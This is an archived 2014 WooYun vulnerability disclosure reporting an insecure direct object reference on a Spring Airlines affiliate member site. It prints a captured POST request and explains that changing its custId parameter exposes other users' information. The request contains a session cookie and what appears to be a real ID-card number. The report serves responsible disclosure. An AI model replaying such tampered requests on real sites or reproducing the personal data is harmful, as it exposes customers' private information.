[公开漏洞]春秋航空某处设计缺陷可遍历用户信息之三

来源：WooYun　浏览：820次　时间：2014-06-14

春秋航空某处设计缺陷可遍历用户信息之三相关厂商：春秋航空漏洞作者：魇提交时间：2014-04-30 11:02 公开时间：2014-06-14 11:03 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：15 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：逻辑错误设计错误设计缺陷漏洞详情披露状态：

2014-04-30：细节已通知厂商并且等待厂商处理中
2014-04-30：厂商已经确认，细节仅向厂商公开
2014-05-10：细节向核心白帽子及相关领域专家公开
2014-05-20：细节向普通白帽子公开
2014-05-30：细节向实习白帽子公开
2014-06-14：细节向公众公开

简要描述：

#3遍历用户信息

详细说明：

WooYun: 春秋航空某处设计缺陷可遍历用户信息

看了一下，之前提的这个厂商处理的很快，已经修复..

但是后续测试发现新问题..

春秋航空官方网站-商旅通官网-春秋旅游

这三个站点的用户是相通的，可以互登..包括会员信息也是一样

www.moneyok.cn 问题出现在商旅通官网

登录帐号-会员信息修改-保存信息的时候抓包

POST /member/update HTTP/1.1

Host: www.moneyok.cn

Connection: keep-alive

Content-Length: 226

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: https://www.moneyok.cn

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: https://www.moneyok.cn/member/memberInfo

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: JSESSIONID=2243B3792583EEA5E86F76AABF711DAC; CNZZDATA5044812=cnzz_eid%3D608192325-1398696211-null%26ntime%3D1398825976%26cnzz_a%3D39%26sin%3Dnone%26ltime%3D1398825383505%26rtime%3D2



custId=9C0202348612&email=XXXXX%40126.com&familyName=%E8%80%81%E7%8E%8B&sex=1&birthday=&cardTypeId=1&simText-cardTypeId=%E8%BA%AB%E4%BB%BD%E8%AF%81&IDNO=511702197701193532&personalName=&tel=&address=&zip=&ifEmail=Y

修改此处的custId